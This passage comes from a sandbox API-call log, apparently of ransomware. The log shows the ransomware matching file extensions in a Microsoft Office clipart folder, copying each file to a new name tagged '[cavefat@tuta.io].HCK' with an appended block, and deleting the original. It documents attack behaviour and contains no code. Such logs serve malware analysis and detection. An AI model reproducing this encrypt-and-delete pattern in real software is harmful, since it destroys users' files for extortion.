(lpString=".1cd") returned 4 [0163.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString=".jpg") returned 4 [0163.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString=".doc") returned 4 [0163.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString=".docx") returned 5 [0163.002] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0163.002] lstrlenW (lpString=".pdf") returned 4 [0163.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString=".xls") returned 4 [0163.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.002] lstrlenW (lpString=".xlsx") returned 5 [0163.002] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0163.002] lstrlenW (lpString=".ppt") returned 4 [0163.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString=".zip") returned 4 [0163.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.002] lstrlenW (lpString=".rar") returned 4 [0163.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.003] lstrlenW (lpString=".bz2") returned 4 [0163.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.003] lstrlenW (lpString=".7z") returned 3 [0163.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.003] lstrlenW (lpString=".dbf") returned 4 [0163.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.043] lstrlenW (lpString=".1cd") returned 4 [0163.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.043] lstrlenW (lpString=".jpg") returned 4 [0163.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.043] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0163.043] lstrlenW (lpString="J0090779.WMF") returned 12 [0163.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0163.043] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1456) returned 1 [0163.043] CloseHandle (hObject=0x380) returned 1 [0163.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0163.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0163.044] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.044] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0163.044] GetLastError () returned 0x0 [0163.044] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0163.046] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0163.047] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.047] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.047] SetEndOfFile (hFile=0x394) returned 1 [0163.047] CloseHandle (hObject=0x394) returned 1 [0163.048] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.048] SetEndOfFile (hFile=0x380) returned 1 [0163.049] CloseHandle (hObject=0x380) returned 1 [0163.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0163.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0163.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.049] lstrlenW (lpString=".doc") returned 4 [0163.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.049] lstrlenW (lpString=".docx") returned 5 [0163.049] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0163.049] lstrlenW (lpString=".pdf") returned 4 [0163.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.049] lstrlenW (lpString=".xls") returned 4 [0163.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.049] lstrlenW (lpString=".xlsx") returned 5 [0163.049] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0163.049] lstrlenW (lpString=".ppt") returned 4 [0163.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.049] lstrlenW (lpString=".zip") returned 4 [0163.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.049] lstrlenW (lpString=".rar") returned 4 [0163.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.049] lstrlenW (lpString=".bz2") returned 4 [0163.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.050] lstrlenW (lpString=".7z") returned 3 [0163.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.373] lstrlenW (lpString=".dbf") returned 4 [0163.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.373] lstrlenW (lpString=".1cd") returned 4 [0163.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.373] lstrlenW (lpString=".jpg") returned 4 [0163.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.373] lstrlenW (lpString=".doc") returned 4 [0163.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString=".docx") returned 5 [0163.373] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0163.373] lstrlenW (lpString=".pdf") returned 4 [0163.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString=".xls") returned 4 [0163.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.373] lstrlenW (lpString=".xlsx") returned 5 [0163.373] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0163.373] lstrlenW (lpString=".ppt") returned 4 [0163.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.373] lstrlenW (lpString=".zip") returned 4 [0163.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.373] lstrlenW (lpString=".rar") returned 4 [0163.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString=".bz2") returned 4 [0163.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.373] lstrlenW (lpString=".7z") returned 3 [0163.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.374] lstrlenW (lpString=".dbf") returned 4 [0163.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.374] lstrlenW (lpString=".1cd") returned 4 [0163.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0163.374] lstrlenW (lpString=".jpg") returned 4 [0163.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.374] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0163.374] lstrlenW (lpString="J0099151.WMF") returned 12 [0163.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.018] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=26086) returned 1 [0164.018] CloseHandle (hObject=0x2f4) returned 1 [0164.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0164.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.018] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.019] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0164.020] GetLastError () returned 0x0 [0164.020] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0164.055] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0164.056] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.056] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.056] SetEndOfFile (hFile=0x360) returned 1 [0164.056] CloseHandle (hObject=0x360) returned 1 [0164.057] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.057] SetEndOfFile (hFile=0x2f4) returned 1 [0164.057] CloseHandle (hObject=0x2f4) returned 1 [0164.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0164.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.058] lstrlenW (lpString=".doc") returned 4 [0164.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.058] lstrlenW (lpString=".docx") returned 5 [0164.058] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0164.058] lstrlenW (lpString=".pdf") returned 4 [0164.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.058] lstrlenW (lpString=".xls") returned 4 [0164.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.058] lstrlenW (lpString=".xlsx") returned 5 [0164.058] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0164.058] lstrlenW (lpString=".ppt") returned 4 [0164.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.058] lstrlenW (lpString=".zip") returned 4 [0164.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.058] lstrlenW (lpString=".rar") returned 4 [0164.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.058] lstrlenW (lpString=".bz2") returned 4 [0164.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.058] lstrlenW (lpString=".7z") returned 3 [0164.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.058] lstrlenW (lpString=".dbf") returned 4 [0164.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.058] lstrlenW (lpString=".1cd") returned 4 [0164.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.058] lstrlenW (lpString=".jpg") returned 4 [0164.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.059] lstrlenW (lpString=".doc") returned 4 [0164.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString=".docx") returned 5 [0164.059] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0164.059] lstrlenW (lpString=".pdf") returned 4 [0164.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString=".xls") returned 4 [0164.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.059] lstrlenW (lpString=".xlsx") returned 5 [0164.059] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0164.059] lstrlenW (lpString=".ppt") returned 4 [0164.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.059] lstrlenW (lpString=".zip") returned 4 [0164.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.059] lstrlenW (lpString=".rar") returned 4 [0164.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString=".bz2") returned 4 [0164.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString=".7z") returned 3 [0164.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.059] lstrlenW (lpString=".dbf") returned 4 [0164.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.059] lstrlenW (lpString=".1cd") returned 4 [0164.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0164.059] lstrlenW (lpString=".jpg") returned 4 [0164.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.059] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.059] lstrlenW (lpString="J0099160.JPG") returned 12 [0164.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.060] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=15145) returned 1 [0164.060] CloseHandle (hObject=0x2f4) returned 1 [0164.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0164.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.100] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.100] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0164.101] GetLastError () returned 0x0 [0164.101] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0164.103] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0164.104] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.104] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.104] SetEndOfFile (hFile=0x360) returned 1 [0164.104] CloseHandle (hObject=0x360) returned 1 [0164.104] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.104] SetEndOfFile (hFile=0x2f4) returned 1 [0164.105] CloseHandle (hObject=0x2f4) returned 1 [0164.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0164.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.105] lstrlenW (lpString=".doc") returned 4 [0164.105] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.105] lstrlenW (lpString=".docx") returned 5 [0164.106] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0164.106] lstrlenW (lpString=".pdf") returned 4 [0164.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString=".xls") returned 4 [0164.106] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString=".xlsx") returned 5 [0164.106] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0164.106] lstrlenW (lpString=".ppt") returned 4 [0164.106] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.106] lstrlenW (lpString=".zip") returned 4 [0164.106] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString=".rar") returned 4 [0164.106] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.106] lstrlenW (lpString=".bz2") returned 4 [0164.106] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.106] lstrlenW (lpString=".7z") returned 3 [0164.106] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.106] lstrlenW (lpString=".dbf") returned 4 [0164.106] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.106] lstrlenW (lpString=".1cd") returned 4 [0164.106] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.106] lstrlenW (lpString=".jpg") returned 4 [0164.106] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0164.106] lstrlenW 